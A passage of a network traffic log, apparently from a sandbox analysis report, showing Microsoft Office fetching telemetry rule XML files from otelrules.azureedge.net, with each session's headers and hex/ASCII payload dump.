2024-10-24 06:51:08 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49882	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:08 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:08 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:08 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a2099384-101e-008d-760b-2292e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065108Z-16849878b78rjhv97f3nhawr7s000000079000000000a2q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:08 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49883	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:08 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:09 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:09 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 4c920d0e-c01e-008d-4cca-202eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065109Z-16849878b78dghrpt8v731n7r4000000073g00000000k122 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:09 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49884	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:08 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:08 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:08 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 9a0db76d-d01e-0017-4396-25b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065108Z-16849878b78z5q7jpbgf6e9mcw00000007b000000000f8n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:08 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49885	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:08 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:09 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:08 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 654233af-a01e-001e-0b27-2149ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065108Z-16849878b78c2tmb7nhatnd68s00000007ag00000000b5ke x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:09 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49886	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:08 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:09 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:08 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97ea84b8-d01e-005a-0430-217fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065108Z-16849878b786wvrz321uz1cknn000000078000000000mvfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49887	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:09 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:09 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:09 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 714dabad-d01e-0065-43fc-24b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065109Z-r197bdfb6b4h2vctng0a0nubg80000000agg000000005a6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:09 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49888	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:09 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:09 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:09 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: a7868e79-001e-0049-77f2-245bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065109Z-r197bdfb6b4h2vctng0a0nubg80000000abg00000000kg8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:09 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49890	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:10 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:11 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: b9c92f65-401e-0016-1c27-2153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065111Z-16849878b78fmrkt2ukpvh9wh400000007ag000000006rmc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49889	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:10 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:11 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 062c286a-b01e-005c-0c8e-214c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065111Z-16849878b78gvgmlcfru6nuc54000000079000000000asmy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49891	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:10 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:11 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:11 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 9b0a187b-e01e-0020-61f3-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065111Z-15b8d89586fxdh48qknu9dqk2g00000002p00000000052re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:11 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49893	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:11 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:11 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c944a0c5-101e-005a-7340-22882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065111Z-16849878b784cpcc2dr9ch74ng00000007c000000000b5tt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 